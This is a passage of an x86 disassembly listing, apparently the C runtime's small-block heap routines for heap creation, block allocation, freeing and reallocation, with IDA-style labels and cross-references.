		push	0Ah
		push	ebx
		push	eax
		call	sub_416861
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_418E01
		cmp	eax, 3
		jz	short loc_418E01
		cmp	eax, 1
		jz	short loc_418E01


loc_418DEE:				; CODE XREF: sub_418CBC+5Cj
					; sub_418CBC+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_418C8F
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_418E01:				; CODE XREF: sub_418CBC+3Ej
					; sub_418CBC+126j ...
		pop	ebx
		leave
		retn
sub_418CBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418E04	proc near		; CODE XREF: _0:00417D5Ep

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_422194	; HeapCreate
		test	eax, eax
		mov	ds:dword_4CA704, eax
		jz	short loc_418E5A
		call	sub_418CBC
		cmp	eax, 3
		mov	ds:dword_4CA708, eax
		jnz	short loc_418E40
		push	3F8h
		call	sub_418E61
		pop	ecx
		jmp	short loc_418E4A
; ---------------------------------------------------------------------------


loc_418E40:				; CODE XREF: sub_418E04+2Dj
		cmp	eax, 2
		jnz	short loc_418E5D
		call	sub_4199A8


loc_418E4A:				; CODE XREF: sub_418E04+3Aj
		test	eax, eax
		jnz	short loc_418E5D
		push	ds:dword_4CA704
		call	ds:dword_422190	; HeapDestroy


loc_418E5A:				; CODE XREF: sub_418E04+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418E5D:				; CODE XREF: sub_418E04+3Fj
					; sub_418E04+48j
		push	1
		pop	eax
		retn
sub_418E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_418E61	proc near		; CODE XREF: sub_418E04+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	ds:dword_4CA704
		call	ds:dword_4220C8	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_4CA6FC, eax
		jnz	short loc_418E7E
		retn
; ---------------------------------------------------------------------------


loc_418E7E:				; CODE XREF: sub_418E61+1Aj
		mov	ecx, [esp+arg_0]
		and	ds:dword_4CA6F4, 0
		and	ds:dword_4CA6F8, 0
		push	1
		mov	ds:dword_4CA6F0, eax
		mov	ds:dword_4CA700, ecx
		mov	ds:dword_4CA6E8, 10h
		pop	eax
		retn
sub_418E61	endp


; =============== S U B	R O U T	I N E =======================================



sub_418EA9	proc near		; CODE XREF: sub_415DE1+17p
					; sub_41756F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_4CA6F8
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_4CA6FC
		lea	ecx, [eax+ecx*4]


loc_418EB9:				; CODE XREF: sub_418EA9+26j
		cmp	eax, ecx
		jnb	short loc_418ED1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_418ED3
		add	eax, 14h
		jmp	short loc_418EB9
; ---------------------------------------------------------------------------


loc_418ED1:				; CODE XREF: sub_418EA9+12j
		xor	eax, eax

locret_418ED3:				; CODE XREF: sub_418EA9+21j
		retn
sub_418EA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418ED4	proc near		; CODE XREF: sub_415DE1+23p
					; sub_41756F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_4191F8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_418FAA
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_418F38
		push	3Fh
		pop	edx


loc_418F38:				; CODE XREF: sub_418ED4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_418F8C
		cmp	edx, 20h
		jnb	short loc_418F63
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_418F84
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_418F84
; ---------------------------------------------------------------------------


loc_418F63:				; CODE XREF: sub_418ED4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_418F84
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_418F84:				; CODE XREF: sub_418ED4+86j
					; sub_418ED4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_418F8F
; ---------------------------------------------------------------------------


loc_418F8C:				; CODE XREF: sub_418ED4+6Aj
		mov	ecx, [ebp+var_4]


loc_418F8F:				; CODE XREF: sub_418ED4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_418FAA:				; CODE XREF: sub_418ED4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_418FB8
		push	3Fh
		pop	edx


loc_418FB8:				; CODE XREF: sub_418ED4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41905B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_418FDD
		mov	ebx, esi


loc_418FDD:				; CODE XREF: sub_418ED4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_418FEF
		mov	edx, esi


loc_418FEF:				; CODE XREF: sub_418ED4+117j
		cmp	ebx, edx
		jz	short loc_419056
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41903E
		cmp	ebx, 20h
		jnb	short loc_41901F
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41903E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41903E
; ---------------------------------------------------------------------------


loc_41901F:				; CODE XREF: sub_418ED4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41903E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41903E:				; CODE XREF: sub_418ED4+128j
					; sub_418ED4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_419056:				; CODE XREF: sub_418ED4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41905E
; ---------------------------------------------------------------------------


loc_41905B:				; CODE XREF: sub_418ED4+EDj
		mov	ebx, [ebp+arg_0]


loc_41905E:				; CODE XREF: sub_418ED4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41906C
		cmp	ebx, edx
		jz	loc_4190ED


loc_41906C:				; CODE XREF: sub_418ED4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_4190ED
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_4190C4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4190B3
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4190B3:				; CODE XREF: sub_418ED4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_4190ED
; ---------------------------------------------------------------------------


loc_4190C4:				; CODE XREF: sub_418ED4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4190DA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_4190DA:				; CODE XREF: sub_418ED4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_4190ED:				; CODE XREF: sub_418ED4+192j
					; sub_418ED4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_4191F8
		mov	eax, ds:dword_4CA6F4
		test	eax, eax
		jz	loc_4191EA
		mov	ecx, ds:dword_4CA6EC
		mov	esi, ds:dword_422198
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, ds:dword_4CA6EC
		mov	eax, ds:dword_4CA6F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_4CA6F4
		mov	ecx, ds:dword_4CA6EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_4CA6F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_4CA6F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41917B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_4CA6F4


loc_41917B:				; CODE XREF: sub_418ED4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_4191EA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, ds:dword_4CA6F4
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_4CA704
		call	ds:dword_4220C4	; RtlFreeHeap
		mov	eax, ds:dword_4CA6F8
		mov	edx, ds:dword_4CA6FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_4CA6F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416470
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_4CA6F8
		cmp	eax, ds:dword_4CA6F4
		jbe	short loc_4191E0
		sub	[ebp+arg_0], 14h


loc_4191E0:				; CODE XREF: sub_418ED4+306j
		mov	eax, ds:dword_4CA6FC
		mov	ds:dword_4CA6F0, eax


loc_4191EA:				; CODE XREF: sub_418ED4+234j
					; sub_418ED4+2ABj
		mov	eax, [ebp+arg_0]
		mov	ds:dword_4CA6EC, edi
		mov	ds:dword_4CA6F4, eax


loc_4191F8:				; CODE XREF: sub_418ED4+38j
					; sub_418ED4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418ED4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4191FD	proc near		; CODE XREF: sub_415D6D+18p
					; sub_41756F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_4CA6F8
		mov	edx, ds:dword_4CA6FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41923D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41924D
; ---------------------------------------------------------------------------


loc_41923D:				; CODE XREF: sub_4191FD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41924D:				; CODE XREF: sub_4191FD+3Ej
		mov	eax, ds:dword_4CA6F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_419274


loc_41925B:				; CODE XREF: sub_4191FD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_419274
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41925B


loc_419274:				; CODE XREF: sub_4191FD+5Cj
					; sub_4191FD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4192F2
		mov	ebx, edx


loc_41927B:				; CODE XREF: sub_4191FD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_419297
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_419295
		add	ebx, 14h
		jmp	short loc_41927B
; ---------------------------------------------------------------------------


loc_419295:				; CODE XREF: sub_4191FD+91j
		cmp	ebx, eax


loc_419297:				; CODE XREF: sub_4191FD+83j
		jnz	short loc_4192F2


loc_419299:				; CODE XREF: sub_4191FD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_4192AF
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4192AC
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_419299
; ---------------------------------------------------------------------------


loc_4192AC:				; CODE XREF: sub_4191FD+A5j
		cmp	ebx, [ebp+var_4]


loc_4192AF:				; CODE XREF: sub_4191FD+9Fj
		jnz	short loc_4192D7
		mov	ebx, edx


loc_4192B3:				; CODE XREF: sub_4191FD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4192C7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4192C5
		add	ebx, 14h
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------


loc_4192C5:				; CODE XREF: sub_4191FD+C1j
		cmp	ebx, eax


loc_4192C7:				; CODE XREF: sub_4191FD+BBj
		jnz	short loc_4192D7
		call	sub_419506
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_4192EB


loc_4192D7:				; CODE XREF: sub_4191FD:loc_4192AFj
					; sub_4191FD:loc_4192C7j
		push	ebx
		call	sub_4195B7
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4192F2


loc_4192EB:				; CODE XREF: sub_4191FD+D8j
		xor	eax, eax
		jmp	loc_419501
; ---------------------------------------------------------------------------


loc_4192F2:				; CODE XREF: sub_4191FD+7Aj
					; sub_4191FD:loc_419297j ...
		mov	ds:dword_4CA6F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_419319
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_419350


loc_419319:				; CODE XREF: sub_4191FD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41934D


loc_419336:				; CODE XREF: sub_4191FD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_419336


loc_41934D:				; CODE XREF: sub_4191FD+137j
		mov	edx, [ebp+var_4]


loc_419350:				; CODE XREF: sub_4191FD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_419379
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_419379:				; CODE XREF: sub_4191FD+16Dj
					; sub_4191FD+183j
		test	ecx, ecx
		jl	short loc_419382
		shl	ecx, 1
		inc	edi
		jmp	short loc_419379
; ---------------------------------------------------------------------------


loc_419382:				; CODE XREF: sub_4191FD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41939F
		push	3Fh
		pop	esi


loc_41939F:				; CODE XREF: sub_4191FD+19Dj
		cmp	esi, edi
		jz	loc_4194B4
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419410
		cmp	edi, 20h
		jge	short loc_4193DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41940D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_419410
; ---------------------------------------------------------------------------


loc_4193DF:				; CODE XREF: sub_4191FD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41940D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_419410
; ---------------------------------------------------------------------------


loc_41940D:				; CODE XREF: sub_4191FD+1D6j
					; sub_4191FD+203j
		mov	ebx, [ebp+arg_0]


loc_419410:				; CODE XREF: sub_4191FD+1B0j
					; sub_4191FD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_4194C0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4194B1
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_419482
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_419470
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_419470:				; CODE XREF: sub_4191FD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_4194B1
; ---------------------------------------------------------------------------


loc_419482:				; CODE XREF: sub_4191FD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41949B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41949B:				; CODE XREF: sub_4191FD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_4194B1:				; CODE XREF: sub_4191FD+24Ej
					; sub_4191FD+283j
		mov	ecx, [ebp+var_8]


loc_4194B4:				; CODE XREF: sub_4191FD+1A4j
		test	ecx, ecx
		jz	short loc_4194C3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_4194C3
; ---------------------------------------------------------------------------


loc_4194C0:				; CODE XREF: sub_4191FD+229j
		mov	ecx, [ebp+var_8]


loc_4194C3:				; CODE XREF: sub_4191FD+2B9j
					; sub_4191FD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_4194F9
		cmp	ebx, ds:dword_4CA6F4
		jnz	short loc_4194F9
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_4CA6EC
		jnz	short loc_4194F9
		and	ds:dword_4CA6F4, 0


loc_4194F9:				; CODE XREF: sub_4191FD+2E0j
					; sub_4191FD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_419501:				; CODE XREF: sub_4191FD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4191FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_419506	proc near		; CODE XREF: sub_4191FD+CCp
		mov	eax, ds:dword_4CA6F8
		mov	ecx, ds:dword_4CA6E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_419549
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_4CA6FC
		push	edi
		push	ds:dword_4CA704
		call	ds:dword_42217C	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_419599
		add	ds:dword_4CA6E8, 10h
		mov	ds:dword_4CA6FC, eax
		mov	eax, ds:dword_4CA6F8


loc_419549:				; CODE XREF: sub_419506+11j
		mov	ecx, ds:dword_4CA6FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_4CA704
		lea	esi, [ecx+eax*4]
		call	ds:dword_4220C8	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_419599
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_42219C	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41959D
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_4CA704
		call	ds:dword_4220C4	; RtlFreeHeap


loc_419599:				; CODE XREF: sub_419506+30j
					; sub_419506+67j
		xor	eax, eax
		jmp	short loc_4195B4
; ---------------------------------------------------------------------------


loc_41959D:				; CODE XREF: sub_419506+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_4CA6F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_4195B4:				; CODE XREF: sub_419506+95j
		pop	edi
		pop	esi
		retn
sub_419506	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4195B7	proc near		; CODE XREF: sub_4191FD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_4195C9:				; CODE XREF: sub_4195B7+19j
		test	eax, eax
		jl	short loc_4195D2
		shl	eax, 1
		inc	ebx
		jmp	short loc_4195C9
; ---------------------------------------------------------------------------


loc_4195D2:				; CODE XREF: sub_4195B7+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4195E7:				; CODE XREF: sub_4195B7+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4195E7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_42219C	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41961A
		or	eax, 0FFFFFFFFh
		jmp	loc_4196AD
; ---------------------------------------------------------------------------


loc_41961A:				; CODE XREF: sub_4195B7+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_419660
		lea	eax, [edi+10h]


loc_419627:				; CODE XREF: sub_4195B7+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_419627


loc_419660:				; CODE XREF: sub_4195B7+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41969D
		or	[eax+4], edi


loc_41969D:				; CODE XREF: sub_4195B7+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_4196AD:				; CODE XREF: sub_4195B7+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4195B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196B2	proc near		; CODE XREF: sub_41756F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_419860
		test	bl, 1
		jnz	loc_419859
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_419859
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_419729
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_419729:				; CODE XREF: sub_4196B2+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_419779
		cmp	ecx, 20h
		jnb	short loc_419755
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_419779
